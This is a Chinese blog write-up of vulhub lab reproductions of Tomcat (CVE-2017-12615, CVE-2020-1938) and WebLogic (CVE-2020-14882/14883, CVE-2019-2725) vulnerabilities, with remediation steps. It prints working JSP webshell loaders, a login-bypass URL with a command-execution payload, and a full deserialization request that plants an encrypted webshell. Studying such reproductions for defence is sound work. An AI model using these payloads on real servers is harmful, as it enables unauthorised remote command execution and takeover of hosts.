【漏洞复现】vulhub 中间件漏洞

#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。

Tomcat

Tomcat介绍

tomcat是一个开源而且免费的jsp服务器,默认端口:8080,属于轻量级应用服务器。它可以实现 JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。 在历史上也披露出来了很多的漏洞,本文讲几个经典的漏洞复现过程。

CVE-2017-12615

漏洞原理

当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产 生,(需要允许put请求) , 攻击者可以利用PUT方法通过精心构造的数据包向存在漏洞的服务器里面上传 jsp一句话文件,从而造成远程命令执行,getshell等。

影响范围

Apache Tomcat 7.0.0 - 7.0.79
Apache Tomcat 8.5.19

本地环境搭建

  • kali靶机

拉取镜像

cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d

访问http://192.168.61.131:8080/
出现以下页面证明搭建成功

漏洞复现

访问首页使用bp抓包,请求方式修改为PUT方式提交

Tomcat允许适用put方法上传任意文件类型,但不允许jsp后缀文件上传,因此我们需要配合 windows的解析漏洞。

在数据包中拼接下面payload
payload如下peak.json文件内容

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("peak");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

 使用工具蚁剑连接http://192.168.61.131:8080/peak.jsp,连接密码:peak

 漏洞修复

 设置readonly 为 true

 docker down关闭该镜像便于下面漏洞复现


CVE-2020-1938

漏洞原理

由于Tomcat AJP协议设计上的缺陷,攻击者通过Tomcat AJP Connector 可以读取或包含Tomcat上所有 Webapp目录下的任意文件。

例如:

可以读取webapp配置文件或源码文件。 此外如果目标应用有文件上传的功能情况下,配合为文件包含漏洞利用GetShell。

影响范围

Apache Tomcat 6

Tomcat 7系列 <7.0.100

Tomcat 8系列 < 8.5.51

Tomcat 9 系列 <9.0.31

本地环境搭建

cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d

访问http://192.168.61.131:8080/
出现9.0.30证明搭建成功

漏洞复现

tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口,另外一个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。

直接脚本poc

python2 CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 靶机IP地址

在脚本文件目录下打开cmd,运行以上命令(运行该python脚本需要python2环境)

 漏洞修复

1. 更新到最新版本

2. 关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉。
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

3. 配置ajp配置中的secretRequired跟secret属性来限制认证。


WebLogic

WebLogic介绍

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间 件,默认端口:7001 WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。


CVE-2020-14882

漏洞描述

CVE-2020-14882允许远程用户绕过管理员控制台组件中的身份验证。

CVE-2020-14883允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞链,未经身份验证的远程攻击者可以通过HTTP在Oracle WebLogic服务器上执行任意命令并完全控制主机。

影响版本

Oracle Weblogic Server 10.3.6.0

Oracle Weblogic Server 12.1.3.0

Oracle Weblogic Server 12.2.1.3

Oracle Weblogic Server 12.2.1.4

Oracle Weblogic Server 14.1.1.0

环境搭建

cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d

漏洞复现

访问管理控制台http://192.168.61.131:7001/console/login/LoginForm.jsp ,等一会就跳转到以下页面。

使用以下url绕过登录认证
http://192.168.61.131:7001/console/css/%252e%252e%252fconsole.portal

此时达到未授权得效果。
还未能GetShell。可以利用第二个漏洞(CVE-2020-14883),远程加载XML文件拿到Shell
使用bp抓取上个页面的数据包,修改请求方式为post,拼接以下数据,点击发送。

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

我们进入docker可以看到命令被执行success被写入

这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有class


CVE-2019-2725

漏洞描述

wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。

影响版本

weblogic 10.x

weblogic 12.1.3

环境搭建

cd vulhub/weblogic/weak_password
docker-compose up -d

漏洞复现

访问http://192.168.61.131:7001/_async/AsyncResponseService
出现以下页面,证明漏洞存在

当前页面抓包,请求方式修改为POST,写入shell

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.61.131:7001
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ADMINCONSOLESESSION=PrTQkvrfmZ9vwHN5R0vsl0M4pp2gMZTkhZdYv2yhs2f4TmcQ2Ms9!2076597063; JSESSIONID=ndk8kvrfKss6g6vb0M7ZMQydprBBdTQ4czdK59WhqPBYrRTKQ99G!2076597063; rememberMe=test
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 1261

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string><void method="println"><string><![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

使用冰蝎连接
URL:http://192.168.61.131:7001/_async/webshell.jsp
密码:rebeyond

漏洞修复

1.禁用bea_wls9_async_response组件;

2.删除wls9_async_response的war包并重启 ;

3.禁止访问 /_async/* 路径。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Yang_peach的博客

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值